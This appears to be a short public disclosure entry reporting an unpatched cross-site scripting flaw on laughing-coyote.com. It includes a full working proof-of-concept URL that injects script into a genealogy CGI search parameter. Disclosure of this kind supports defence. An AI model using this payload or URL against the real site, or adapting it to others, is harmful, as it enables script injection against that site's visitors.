laughing-coyote.com XSS vulnerability

Vulnerable URL: http://www.laughing-coyote.com/cgi-bin/geneal.pl?gens=5=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E=belgians.dbw=kwsearch=Search+Now Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...